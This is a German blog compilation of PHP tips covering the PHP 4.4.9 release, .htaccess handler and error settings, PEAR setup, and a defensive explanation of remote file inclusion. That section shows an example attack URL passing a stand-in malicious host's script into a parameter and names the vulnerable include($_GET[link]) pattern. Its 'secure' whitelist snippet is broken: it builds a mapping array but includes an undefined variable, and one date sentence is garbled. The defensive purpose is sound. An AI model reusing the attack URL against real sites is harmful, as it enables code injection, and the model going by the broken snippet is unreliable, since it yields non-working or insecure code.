PHP 4 ist nun in der Version 4.4.9 erschienen. Eigentlich sollte Version 4.4.8 die letzte PHP 4 Version sein, welche bereits am im Juli 2004 durch die Version 5 der Scriptsprache abgelöst wurde. Mehr als 8 Jahre nach dem Release von PHP 4 erschien so ein weiteres Update - Die Entwickler stufen es als Sicherheitskritisch ein.

Auf Vielen Webservern läuft PHP 4 noch parallel zu PHP 5. Über die Dateiendung kann man dann wählen, welcher Interpreter für die jeweiligen Skripte verwendet werden soll.

Zuvor muss aber erst definiert werden, welche Dateiendung von welchem PHP Interpreter behandelt wird. Dies kann man mittels der htaccess Datei steuern (Vermutlich gibt es auch einen Weg über die php.ini, aber viele Kunden haben hierauf keinen Zugriff. IMHO ist der Weg über htaccess einfacher)

So funktionierts: Einfach die folgenden Zeilen in die .htaccess Datei z.B. ins höchste Verzeichnis der Webseite kopieren:
AddHandler application/x-httpd-php43 .php
AddHandler application/x-httpd-php4 .php4
AddHandler application/x-httpd-php5 .htm

Die Zeilen können beliebig angepasst werden. In diesem Beispiel werden Dateien mit der Dateiendung php nun vom PHP 4.3 Interpreter aufgerufen (sofern diese veraltete Version noch installiert ist). php4 Dateien vom PHP 4 Interpeter und htm Dateien vom php5 Interpreter. Bei der Umstellung auf eine neue PHP Version können so ausgewählte Skripte - die nach der Umstellung nicht mehr funktionieren würden ohne Anpassungen am Programm selbst - einfach am laufen gehalten werden.

Gefunden bei Adrian Sauer via golem.de

Einige Personen sind der Meinung, dass PHP per se eine unsichere Programmiersprache ist. Wie kommt man darauf? Die Sprache kann IMHO nur insoweit etwas für Ihren Ruf, als dass sie es dem Programmierer erlaubt ziemlich einfach komplexe Operationen aneinanderzureihen, die im Zusammenspiel dann zum Sicherheitsloch werden.

Wie läuft eine PHP Code Injection grundsätzlich ab? Wie auf Glorf IT erwähnt gibt es jede Menge Angreifer, die versuchen durch automatische Spider das Web nach Sicherheitslöchern abzugrasen um diese anschließend auszunutzen. Nicht selten versuchen sie durch Übergabe einer Adresse in der URL z.B. http://www.alin.eu/?link=http://boeseseite/boesesscript.php ein boeses Skript auf meinem Server auszuführen. Solche Aufrufe findet man fast häufiger im Serverlog als richtige Seitenzugriffe von Besuchern.

Wenn man im PHP Code nun so etwas wie include($_GET[link]) stehen hat, was manche Content Management Systeme hin und wieder tatsächlich verwenden um Inhalt aus anderen Dateien einzubinden, wird der Schadcode vom fremden Server hereingeladen. Es kann beliebiger schädlicher PHP-Code ausgeführt werden.

Gegen solche Angriffe kann man sich noch relativ einfach schützen, indem man in der php.ini den Eintrag allow_url_fopen=On auf allow_url_fopen=Off setzt. Dann können keine Dateien mehr von anderen Servern aufgerufen werden. Nachteil: Auch alle anderen PHP Skripte können nicht mehr auf Dateien von anderen Servern zugreifen. Zudem kann der Angreifer immer noch Code ausführen, wenn er an anderer Stelle die Gelegenheit bekommt Dateien auf den Server abzulegen. Ein typischen Fall wie das funktioniert ist im Flashforum humorvoll erklärt.

Eine wie ich behaupte sichere Methode ist es, die Benutzereingaben nicht direkt zu verwenden, sondern sie zum Beispiel über ein assoziatives Array einer vorgegebenen Seite zuzuordnen.


$arraymap = array(
'index' => 'index.php',
'impressum' => 'impressum.php',
//usw
);

include($content);


Natürlich gibt es noch viele weitere Angriffsmöglichkeiten im Zusammenhang mit PHP. Auf nettuts.com wird eine kleine Übersicht gegeben.

Weitere Sicherheitslücken die nicht direkt etwas mit PHP zu tun haben, aber häufig in interaktiven Webumgebungen anzutreffen sind Cross-Site-Scripting (XSS) Lücken. (siehe Wikipedia)

Auch Wordpress Blogs sind immer mal wieder Opfer von solchen Angriffen. Wie man sein Wordpress Blog einigermaßen vor Angriffen schützt erfährt man bei brajeshwar.com (Englisch).

Ich erhebe mit dem Tutorial natürlich keinen Anspruch auf Vollständigkeit. Kommentare und Hinweise sind herzlich erwünscht.

Mithilfe der Firefox Extension ‘Firebug‘ lassen sich PHP-Skripte einfach debuggen. Lästige ‘echo’ Ausgaben von fehlerträchtigen Variablen entfallen somit. Damit man dies nutzen kann muss man allerdings erst eine PHP PEAR Erweiterung auf dem Webserver installieren, die PHP-Dateien anpassen und natürlich das Firefox-Plugin installieren.

Eine deutsche Anleitung hierzu findet man bei alldev.de!

Zur Extension ‘Firebug’ gibt es mittlerweile eine Reihe von nützlichen Erweiterungen die einen die Arbeit beim PHP-programmieren erleichtern. So kann man zum Beispiel mittels Firecookie Cookies einer Webseite bearbeiten, löschen und anlegen. Mithilfe der Logfunktion kann man alle Cookie-Manipulationen durch eine Webseite protokollieren.

PEAR (PHP Extension and Application Repository) ist eine Bibliothek von Modulen und Erweiterungen für die Skriptsprache PHP. PEAR ist in Bezug auf PHP vergleichbar mit Standardbibliotheken wie die „Standard C Library“ für C oder das Swing-Framework in Java.

Neben PEAR gibt es auch noch PECL (Die PHP Extension Community Library), sie ist ein ehemaliger Teil von PEAR, die nur C-Erweiterungen anbietet. Sie wurde im Oktober 2003 aus PEAR ausgegliedert und wird nun als eigenständiges Projekt fortgeführt.

Einen Überblick über die PEAR Funktionen findet man in diesem E-Book:
http://www.galileocomputing.de/openbook/php_pear/

Wie PEAR installiert wird hängt davon ab, ob man einen eigenen Webserver besitzt oder auf den Webspace bei einen Shared Webhost verwendet. Das eigentliche Installationstool steht zum Download auf http://pear.php.net/ bereit. Die heruntergeladene Datei PEARinstaller.php muss wie jede andere PHP Datei über den Webbrowser per HTTP aufgerufen werden und führt den Anwender komfortabel mittels eines Installationsassistenten.

Fehler bei der Installation unter SuSE:
Vermisst man nach der Installation des PEAR Pakets unter SuSE den Kommandozeilenbefehl ‘pear’, der zur Konfiguration der pear Installation verwendet wird, sollte man den Befehl rpm -ql php5-pear verwenden um alle Dateien einsehen zu können, die von SuSE für das Packet ‘php5-pear’ installiert wurden.

Es fällt die Datei /usr/bin/pear5 auf. Das Konfigurationsprogramm wurde anscheinend ab der PHP Version 5 in ‘pear5′ umbennant!

Man verwendet also zur Konfiguration und Einbindung von PEAR-Paketen den pear oder pear5 Befehl.

Wenn man alles richtig gemacht hat, kann man nun die PEAR-Pakete einfach per include() in die PHP-Dateien einfügen. Sollte aber noch ein Fehler ala:

failed to open stream: No such file or directory

auftreten, so liegt das daran, dass das Verzeichnis in welchem PEAR die eingebundenen PEAR-Pakete (also die PHP-Dateien) nicht im Suchverzeichnis der PHP-Installation liegen oder man den Safe-Mode aktiviert hat (Den pear5 Befehl aber als anderer Benutzer als der Benutzer des Webservers ausgeführt hat). Abhilfe schafft man am einfachsten indem man die php.ini öffnet und den Suchpfad anpasst.

Kurze Schritt für Schritt Anleitung für Anfänger für Apache Benutzer:
1. php.ini Datei mit dem Befehl: find / -name “php.ini” im gesamten Dateisystem suchen.
2. Die gefundene php.ini Datei mit einem beliebigen Texteditor öffnen , je nach Verzeichnis sieht das so aus: vi /etc/php5/apache2/php.ini oder für Windowsuser: Einfach mit WinSCP öffnen.
3. Die Zeile mit “safe_mode_include_dir” muss man wie folgt ergänzen: safe_mode_include_dir = “.:/usr/share/php5:/usr/share/php5/PEAR”
4. Die Zeile mit “include_path” muss ebenfalls überprüft werden, ob die Pfade richtig angegeben wurden
5. Damit die Änderungen wirksam werden: Mit “httpd2 -k restart” den Apache 2 neu starten

Es empfielt sich vorher eine Sicherungskopie der php.ini anzulegen!

Schnell passieren bei regulären Ausdrücken Fehler. Wer sie vermeiden will sollte diesen Validator für Reguläre Ausdrücke probieren.

Der REGEX Validator

Zu empfehlen ist auch das Tutorial auf dieser Webseite.

Bild von geekandpoke

Je nach Einstellung des Webservers wird man das Problem haben. Man führt eine gerade Editierte PHP-Datei aus und es erscheint ein leeres Browserfenster. Was ist passiert?

Vermutlich ist bei der Ausführung der PHP-Datei ein Fehler passiert, die Fehlermeldung wird aber wegen den Servereinstellungen nicht angezeigt. Da viele Benutzer keinen Zugriff auf die php.ini haben oder bei fertigen Projekten PHP-Fehlermeldungen unerwünscht sind (Sie können Hackern empfindliche Informationen über die Webseite verraten) empfiehlt sich der einfache Weg über die .htaccess Datei.

Man erstellt hierzu eine Textdatei mit dem Inhalt:

php_value display_errors 1

und speichert diese als .htaccess im Ordner mit der randalierenden PHP-Datei.

Beim nächsten Aufruf des Scripts wird die Fehlermeldung angezeigt, welche für den leeren Bildschirm verantwortlich war und lässt sich mit PHP-Kenntnissen beheben.